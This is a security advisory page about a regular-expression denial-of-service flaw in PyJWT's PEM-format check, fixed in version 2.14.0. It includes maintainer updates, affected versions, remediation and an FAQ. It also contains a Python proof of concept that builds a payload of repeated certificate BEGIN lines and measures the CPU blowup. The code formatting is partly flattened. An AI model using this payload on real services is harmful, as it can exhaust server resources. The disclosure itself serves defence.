CVE-2026-102270: PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.

Published Sep 28, 2026
·
Updated

Summary There is a Re-DoS vulnerability in the ispemformat function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC python import time import re

BEGINLINE = b"-----BEGIN CERTIFICATE-----\n"

PEMS = { b"CERTIFICATE", b"TRUSTED CERTIFICATE", b"PRIVATE KEY", b"PUBLIC KEY", b"ENCRYPTED PRIVATE KEY", b"OPENSSH PRIVATE KEY", b"DSA PRIVATE KEY", b"RSA PRIVATE KEY", b"RSA PUBLIC KEY", b"EC PRIVATE KEY", b"DH PARAMETERS", b"NEW CERTIFICATE REQUEST", b"CERTIFICATE REQUEST", b"SSH2 PUBLIC KEY", b"SSH2 ENCRYPTED PRIVATE KEY", b"X509 CRL", }

PEMRE = re.compile( b"----[- ]BEGIN (" + b"|".join(PEMS) + b""")[- ]----\r? .+?\r? ----[- ]END \\1[- ]----\r?\n?""", re.DOTALL, )

def ispemformat(key: bytes) -> bool: return bool(PEMRE.search(key))

def makepayload(numheaders: int) -> bytes: return BEGINLINE numheaders

def measure(numheaders: int) -> float: payload = makepayload(numheaders) start = time.perfcounter() ispemformat(payload) # returns False, but burns CPU getting there elapsed = time.perfcounter() - start print( f" headers={numheaders:>4} size={len(payload)//1024:>3} KB" f" time={elapsed1000:>7.1f} ms" ) return elapsed

for n in (1000, 2000, 4000, 8000): measure(n)

Impact The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10): We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Other sources

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT ispemformat is affected because lazy PEM regular expression backtracks extensively. This occurs when a certificate-like input contains repeated BEGIN markers without a matching END marker. As a result, ispemformat performs unbounded backtracking while searching for a PEM end marker. Consequently, an attacker can cause intensive CPU consumption. This issue is fixed in version 2.14.0.

— MITRE

PyJWT: ReDoS vulnerability when calling the ispemformat function.

— Microsoft

Affected Software

4 affected componentsFixes available
pypi/pyjwt<2.14.0
pip/pyjwt<=2.13.0
2.14.0
Microsoft azl3 python-jwt 2.13.0-1<2.15.1-1
2.15.1-1
Pyjwt Project Pyjwt<2.14.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pyjwt to a version that resolves this vulnerability.

    Fixed in 2.14.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.15.1-1
  3. Upgrade

    Upgrade PyJWT to a version that resolves this vulnerability.

    Fixed in 2.14.0

Event History

Sep 28, 2026
CVE Published
via MITRE·08:29 PM
Data Sourced
via MITRE·08:29 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
RemedyAffected Software
Sep 30, 2026
Data Sourced
via Microsoft·08:03 AM
DescriptionSeverityWeaknessAffected Software
Updated
via Microsoft·08:03 AM
DescriptionSeverity
Advisory Published
via GitHub·02:40 PM
Data Sourced
via GitHub·02:40 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What input is required to trigger the CPU consumption?

The affected function must process certificate-like input containing repeated PEM BEGIN markers without a corresponding END marker. This causes unbounded regular-expression backtracking while it searches for an end marker.

2

What access does an attacker need to exploit this issue?

The severity vector indicates network reachability, but exploitation has high attack complexity and requires high privileges. No user interaction is required.

3

Which versions should be remediated?

PyJWT versions prior to 2.14.0 are affected. Upgrade to version 2.14.0, which fixes the issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203